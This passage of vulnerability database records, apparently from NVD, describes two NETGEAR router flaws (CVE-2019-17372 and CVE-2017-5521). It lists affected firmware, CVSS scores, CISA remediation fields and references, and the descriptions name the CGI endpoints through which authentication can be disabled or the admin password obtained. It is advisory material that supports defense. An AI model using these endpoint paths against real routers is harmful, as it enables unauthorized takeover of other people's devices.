"matchCriteriaId": "65FACC9E-3E0E-4416-9280-706F4FCE436A",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:netgear:wndr3400v2_firmware:-:*:*:*:*:*:*:*",
"matchCriteriaId": "3CFD82DF-14C0-4D93-A871-C2E71203D1A7",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:netgear:wndr3400v2:-:*:*:*:*:*:*:*",
"matchCriteriaId": "B3DB8021-1BC8-4520-A790-C5A3A3ABDA6E",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:netgear:wndr3700v3_firmware:-:*:*:*:*:*:*:*",
"matchCriteriaId": "42FE5EE4-15C3-492C-A006-7BED45C28BC4",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:netgear:wndr3700v3:-:*:*:*:*:*:*:*",
"matchCriteriaId": "603836E6-E7FF-43C7-A410-8BD9D0950F7C",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:netgear:wndr4000_firmware:-:*:*:*:*:*:*:*",
"matchCriteriaId": "E706326B-FCB4-4F23-9323-B5E92505ECB1",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:netgear:wndr4000:-:*:*:*:*:*:*:*",
"matchCriteriaId": "1C34EC74-D6F1-46F1-B47E-E62793171427",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:netgear:wndr4500_firmware:-:*:*:*:*:*:*:*",
"matchCriteriaId": "48524781-AD79-4EBE-8DA3-48A64A09257D",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:netgear:wndr4500:-:*:*:*:*:*:*:*",
"matchCriteriaId": "7E9F459C-B628-402A-AF4A-72E08FE41837",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:netgear:wndr4500v2_firmware:-:*:*:*:*:*:*:*",
"matchCriteriaId": "47F2C4B9-4B82-49B8-ABBC-C6937281EFB9",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:netgear:wndr4500v2:-:*:*:*:*:*:*:*",
"matchCriteriaId": "EFB2BF35-952C-4E34-AE59-6D73041EB278",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:netgear:wnr1000_firmware:-:*:*:*:*:*:*:*",
"matchCriteriaId": "2CDF6210-D67B-4434-A619-EC3876D4E745",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:netgear:wnr1000:-:*:*:*:*:*:*:*",
"matchCriteriaId": "B6E9507F-EE84-4C27-BF38-CEFAB453339F",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:netgear:wnr1000v3_firmware:-:*:*:*:*:*:*:*",
"matchCriteriaId": "51C2FC1C-6D85-49C5-AC9F-E0114A3A0999",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:netgear:wnr1000v3:-:*:*:*:*:*:*:*",
"matchCriteriaId": "252E5C7B-EF02-4374-A43E-02FAA9E697D0",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:netgear:wnr3500l_firmware:-:*:*:*:*:*:*:*",
"matchCriteriaId": "9BF3B420-3843-4A62-BC48-50F6A4898D2E",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:netgear:wnr3500l:-:*:*:*:*:*:*:*",
"matchCriteriaId": "30A92EDA-46B6-4C2E-AC05-A192FFA90B85",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
}
],
"cveTags": [],
"descriptions": [
{
"lang": "en",
"value": "Certain NETGEAR devices allow remote attackers to disable all authentication requirements by visiting genieDisableLanChanged.cgi. The attacker can then, for example, visit MNU_accessPassword_recovered.html to obtain a valid new admin password. This affects AC1450, D8500, DC112A, JNDR3000, LG2200D, R4500, R6200, R6200V2, R6250, R6300, R6300v2, R6400, R6700, R6900P, R6900, R7000P, R7000, R7100LG, R7300, R7900, R8000, R8300, R8500, WGR614v10, WN2500RPv2, WNDR3400v2, WNDR3700v3, WNDR4000, WNDR4500, WNDR4500v2, WNR1000, WNR1000v3, WNR3500L, and WNR3500L."
},
{
"lang": "es",
"value": "Determinados dispositivos NETGEAR permiten a atacantes remotos deshabilitar todos los requisitos de autenticaci\u00f3n visitando el archivo genieDisableLanChanged.cgi. El atacante puede, por ejemplo, visitar MNU_accessPassword_recovered.html para obtener una nueva contrase\u00f1a de administrador v\u00e1lida. Esto afecta a AC1450, D8500, DC112A, JNDR3000, LG2200D, R4500, R6200, R6200V2, R6250, R6300, R6300v2, R6400, R6700, R6900P, R6900, R7000P, R7000, R7100LG, R7300, R7900, R8000, R8300, R8500, WGR614v10, WN2500RPv2, WNDR3400v2, WNDR3700v3, WNDR4000, WNDR4500, WNDR4500v2, WNR1000, WNR1000v3, WNR3500L y WNR3500L."
}
],
"id": "CVE-2019-17372",
"lastModified": "2024-11-21T04:32:12.360",
"metrics": {
"cvssMetricV2": [
{
"acInsufInfo": false,
"baseSeverity": "MEDIUM",
"cvssData": {
"accessComplexity": "MEDIUM",
"accessVector": "NETWORK",
"authentication": "NONE",
"availabilityImpact": "NONE",
"baseScore": 4.3,
"confidentialityImpact": "PARTIAL",
"integrityImpact": "NONE",
"vectorString": "AV:N/AC:M/Au:N/C:P/I:N/A:N",
"version": "2.0"
},
"exploitabilityScore": 8.6,
"impactScore": 2.9,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "nvd@nist.gov",
"type": "Primary",
"userInteractionRequired": false
}
],
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 8.1,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 2.2,
"impactScore": 5.9,
"source": "nvd@nist.gov",
"type": "Primary"
}
]
},
"published": "2019-10-09T13:15:16.863",
"references": [
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/zer0yu/CVE_Request/blob/master/netgear/netgear_cgi_unauthorized_access_vulnerability.md"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/zer0yu/CVE_Request/blob/master/netgear/netgear_cgi_unauthorized_access_vulnerability.md"
}
],
"sourceIdentifier": "cve@mitre.org",
"vulnStatus": "Modified",
"weaknesses": [
{
"description": [
{
"lang": "en",
"value": "CWE-287"
}
],
"source": "nvd@nist.gov",
"type": "Primary"
}
]
}
Vulnerability from fkie_nvd
Published
2017-01-17 09:59
Modified
2024-11-21 03:27
Severity ?
Summary
An issue was discovered on NETGEAR R8500, R8300, R7000, R6400, R7300, R7100LG, R6300v2, WNDR3400v3, WNR3500Lv2, R6250, R6700, R6900, and R8000 devices. They are prone to password disclosure via simple crafted requests to the web management server. The bug is exploitable remotely if the remote management option is set, and can also be exploited given access to the router over LAN or WLAN. When trying to access the web panel, a user is asked to authenticate; if the authentication is canceled and password recovery is not enabled, the user is redirected to a page that exposes a password recovery token. If a user supplies the correct token to the page /passwordrecovered.cgi?id=TOKEN (and password recovery is not enabled), they will receive the admin password for the router. If password recovery is set the exploit will fail, as it will ask the user for the recovery questions that were previously set when enabling that feature. This is persistent (even after disabling the recovery option, the exploit will fail) because the router will ask for the security questions.
References
| ▼ | URL | Tags | |
|---|---|---|---|
| cve@mitre.org | http://kb.netgear.com/30632/Web-GUI-Password-Recovery-and-Exposure-Security-Vulnerability | Vendor Advisory | |
| cve@mitre.org | http://www.securityfocus.com/bid/95457 | Broken Link, Third Party Advisory, VDB Entry | |
| cve@mitre.org | https://www.exploit-db.com/exploits/41205/ | Exploit, Third Party Advisory, VDB Entry | |
| af854a3a-2127-422b-91ae-364da2661108 | http://kb.netgear.com/30632/Web-GUI-Password-Recovery-and-Exposure-Security-Vulnerability | Vendor Advisory | |
| af854a3a-2127-422b-91ae-364da2661108 | http://www.securityfocus.com/bid/95457 | Broken Link, Third Party Advisory, VDB Entry | |
| af854a3a-2127-422b-91ae-364da2661108 | https://www.exploit-db.com/exploits/41205/ | Exploit, Third Party Advisory, VDB Entry |
Impacted products
| Vendor | Product | Version | |
|---|---|---|---|
| netgear | r6200_firmware | 1.0.1.56_1.0.43 | |
| netgear | r6200 | - | |
| netgear | r6300_firmware | 1.0.2.78_1.0.58 | |
| netgear | r6300 | - | |
| netgear | vegn2610_firmware | 1.0.0.36 | |
| netgear | vegn2610 | - | |
| netgear | ac1450_firmware | 1.0.0.34_10.0.16 | |
| netgear | ac1450 | - | |
| netgear | wnr1000v3_firmware | 1.0.2.68_60.0.93 | |
| netgear | wnr1000v3 | - | |
| netgear | wndr3700v3_firmware | 1.0.0.40_1.0.32 | |
| netgear | wndr3700v3 | - | |
| netgear | wndr4000_firmware | 1.0.2.4_9.1.86 | |
| netgear | wndr4000 | - | |
| netgear | wndr4500_firmware | 1.0.1.44_1.0.73 | |
| netgear | wndr4500 | - | |
| netgear | d6400_firmware | 1.0.0.44 | |
| netgear | d6400 | - | |
| netgear | d6220_firmware | 1.0.0.12 | |
| netgear | d6220 | - | |
| netgear | d6300_firmware | 1.0.0.96 | |
| netgear | d6300 | - | |
| netgear | d6300b_firmware | 1.0.0.40 | |
| netgear | d6300b | - | |
| netgear | dgn2200bv4_firmware | 1.0.0.68 | |
| netgear | dgn2200bv4 | - |
{
"cisaActionDue": "2022-09-29",
"cisaExploitAdd": "2022-09-08",
"cisaRequiredAction": "Apply updates per vendor instructions. If the affected device has since entered end-of-life, it should be disconnected if still in use.",
"cisaVulnerabilityName": "NETGEAR Multiple Devices Exposure of Sensitive Information Vulnerability",
"configurations": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:netgear:r6200_firmware:1.0.1.56_1.0.43:*:*:*:*:*:*:*",
"matchCriteriaId": "1C1769F8-B2CB-465B-85B8-9D7AC25C63CB",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:netgear:r6200:-:*:*:*:*:*:*:*",
"matchCriteriaId": "8A466B29-3ADA-46D9-824C-8DF9160B7DD7",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:netgear:r6300_firmware:1.0.2.78_1.0.58:*:*:*:*:*:*:*",
"matchCriteriaId": "89A99D1C-CABE-4526-B3B7-3708C0E18AC4",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:netgear:r6300:-:*:*:*:*:*:*:*",
"matchCriteriaId": "9597966A-B13C-4098-838B-EC9AA8DE443D",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:netgear:vegn2610_firmware:1.0.0.36:*:*:*:*:*:*:*",
"matchCriteriaId": "6D329D85-C180-426E-B430-9FEDE5C77F25",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:netgear:vegn2610:-:*:*:*:*:*:*:*",
"matchCriteriaId": "0967FC76-F977-4D18-B570-9444459A19FE",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:netgear:ac1450_firmware:1.0.0.34_10.0.16:*:*:*:*:*:*:*",
"matchCriteriaId": "91292776-92F7-4089-86FC-7569C8F940DE",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:netgear:ac1450:-:*:*:*:*:*:*:*",
"matchCriteriaId": "E4BA18B2-8234-4C26-B865-741D467C5EBE",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:netgear:wnr1000v3_firmware:1.0.2.68_60.0.93:*:*:*:*:*:*:*",
"matchCriteriaId": "4E35A89F-44C7-496C-B61B-652989EDE438",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:netgear:wnr1000v3:-:*:*:*:*:*:*:*",
"matchCriteriaId": "252E5C7B-EF02-4374-A43E-02FAA9E697D0",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:netgear:wndr3700v3_firmware:1.0.0.40_1.0.32:*:*:*:*:*:*:*",
"matchCriteriaId": "1D59A6F9-0359-4AB4-AD0F-1D6044D59409",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:netgear:wndr3700v3:-:*:*:*:*:*:*:*",
"matchCriteriaId": "603836E6-E7FF-43C7-A410-8BD9D0950F7C",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:netgear:wndr4000_firmware:1.0.2.4_9.1.86:*:*:*:*:*:*:*",
"matchCriteriaId": "91561A20-30F5-4163-9178-5FC32897F827",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:netgear:wndr4000:-:*:*:*:*:*:*:*",
"matchCriteriaId": "1C34EC74-D6F1-46F1-B47E-E62793171427",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:netgear:wndr4500_firmware:1.0.1.44_1.0.73:*:*:*:*:*:*:*",
"matchCriteriaId": "B9874914-4D90-493F-BD2B-40FFF1737F58",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:netgear:wndr4500:-:*:*:*:*:*:*:*",
"matchCriteriaId": "7E9F459C-B628-402A-AF4A-72E08FE41837",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:netgear:d6400_firmware:1.0.0.44:*:*:*:*:*:*:*",
"matchCriteriaId": "D3EB5F49-3628-4418-AF36-AF8FD6F5BA25",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:netgear:d6400:-:*:*:*:*:*:*:*",
"matchCriteriaId": "7D30939B-86E3-4C78-9B05-686B4994C8B9",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:netgear:d6220_firmware:1.0.0.12:*:*:*:*:*:*:*",
"matchCriteriaId": "ECD46588-5866-4159-85E1-58B0D1F98406",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:netgear:d6220:-:*:*:*:*:*:*:*",
"matchCriteriaId": "F3EEA190-2E9C-4586-BF81-B115532FBA23",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:netgear:d6300_firmware:1.0.0.96:*:*:*:*:*:*:*",
"matchCriteriaId": "7B15B85C-F099-4584-9F59-1CFC3275D625",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:netgear:d6300:-:*:*:*:*:*:*:*",
"matchCriteriaId": "78542C95-85CC-43E5-9F0E-B12DDD5B79C4",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:netgear:d6300b_firmware:1.0.0.40:*:*:*:*:*:*:*",
"matchCriteriaId": "D0CE8A8F-7894-4140-8E4B-84153C5A6B13",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:netgear:d6300b:-:*:*:*:*:*:*:*",
"matchCriteriaId": "37B89703-CAFB-43F6-8880-90349F8ED856",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:netgear:dgn2200bv4_firmware:1.0.0.68:*:*:*:*:*:*:*",
"matchCriteriaId": "E1CDFE4F-6C5C-4B10-926E-92C7759D60EF",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:netgear:dgn2200bv4:-:*:*:*:*:*:*:*",
"matchCriteriaId": "9C78A475-9DDF-432B-A94A-01EFAC7DC70D",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
}
],
"cveTags": [],
"descriptions": [
{
"lang": "en",
"value": "An issue was discovered on NETGEAR R8500, R8300, R7000, R6400, R7300, R7100LG, R6300v2, WNDR3400v3, WNR3500Lv2, R6250, R6700, R6900, and R8000 devices. They are prone to password disclosure via simple crafted requests to the web management server. The bug is exploitable remotely if the remote management option is set, and can also be exploited given access to the router over LAN or WLAN. When trying to access the web panel, a user is asked to authenticate; if the authentication is canceled and password recovery is not enabled, the user is redirected to a page that exposes a password recovery token. If a user supplies the correct token to the page /passwordrecovered.cgi?id=TOKEN (and password recovery is not enabled), they will receive the admin password for the router. If password recovery is set the exploit will fail, as it will ask the user for the recovery questions that were previously set when enabling that feature. This is persistent (even after disabling the recovery option, the exploit will fail) because the router will ask for the security questions."
},
{
"lang": "es",
"value": "Se ha descubierto un problema en dispositivos NETGEAR R8500, R8300, R7000, R6400, R7300, R7100LG, R6300v2, WNDR3400v3, WNR3500Lv2, R6250, R6700, R6900 y R8000. Son propensos a revelar la contrase\u00f1a a trav\u00e9s de peticiones simples manipuladas al servidor de gesti\u00f3n de la web. El error es explotable remotamente si la opci\u00f3n de gesti\u00f3n remota est\u00e1 activada, y tambi\u00e9n puede ser explotado dado el acceso al router a trav\u00e9s de LAN o WLAN. Cuando se trata de acceder al panel web, se pide al usuario que se autentique; si la autenticaci\u00f3n se cancela y la recuperaci\u00f3n de contrase\u00f1a no est\u00e1 habilitada, el usuario es redirigido a una p\u00e1gina que revela un token de recuperaci\u00f3n de contrase\u00f1a. Si un usuario proporciona el token correcto a la p\u00e1gina /passwordrecovered.cgi?id=TOKEN (y la recuperaci\u00f3n de contrase\u00f1a no est\u00e1 habilitada), recibir\u00e1n la contrase\u00f1a de administrador para el router. Si la recuperaci\u00f3n de contrase\u00f1a est\u00e1 habilitada, la explotaci\u00f3n fallar\u00e1, ya que pedir\u00e1 al usuario preguntas para la recuperaci\u00f3n que fueron previamente establecidas cuando se habilit\u00f3 esa caracter\u00edstica. Esto es persistente (incluso tras la inhabilitaci\u00f3n de la opci\u00f3n de recuperaci\u00f3n, la explotaci\u00f3n fallar\u00e1) porque el router preguntar\u00e1 por las preguntas de seguridad."
}
],
"id": "CVE-2017-5521",
"lastModified": "2024-11-21T03:27:48.497",
"metrics": {
"cvssMetricV2": [
{
"acInsufInfo": false,
"baseSeverity": "MEDIUM",
"cvssData": {
"accessComplexity": "MEDIUM",
"accessVector": "NETWORK",
"authentication": "NONE",
"availabilityImpact": "NONE",
"baseScore": 4.3,
"confidentialityImpact": "PARTIAL",
"integrityImpact": "NONE",
"vectorString": "AV:N/AC:M/Au:N/C:P/I:N/A:N",
"version": "2.0"
},
"exploitabilityScore": 8.6,
"impactScore": 2.9,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "nvd@nist.gov",
"type": "Primary",
"userInteractionRequired": false
}
],
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 8.1,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 2.2,
"impactScore": 5.9,
"source": "nvd@nist.gov",
"type": "Primary"
}
]
},
"published": "2017-01-17T09:59:00.333",
"references": [
{
"source": "cve@mitre.org",
"tags": [
"Vendor Advisory"
],
"url": "http://kb.netgear.com/30632/Web-GUI-Password-Recovery-and-Exposure-Security-Vulnerability"
},
{
"source": "cve@mitre.org",
"tags": [
"Broken Link",
"Third Party Advisory",
"VDB Entry"
],
"url": "http://www.securityfocus.com/bid/95457"
},
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Third Party Advisory",
"VDB Entry"
],
"url": "https://www.exploit-db.com/exploits/41205/"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Vendor Advisory"
],
"url": "http://kb.netgear.com/30632/Web-GUI-Password-Recovery-and-Exposure-Security-Vulnerability"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Broken Link",
"Third Party Advisory",
"VDB Entry"
],
"url": "http://www.securityfocus.com/bid/95457"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Third Party Advisory",
"VDB Entry"
],
"url": "https://www.exploit-db.com/exploits/41205/"
}
],
"sourceIdentifier": "cve@mitre.org",
"vulnStatus": "Modified",
"weaknesses": [
{
"description": [
{
"lang": "en",
"value": "NVD-CWE-noinfo"
}
],
"source": "nvd@nist.gov",
"type": "Primary"
}
]
}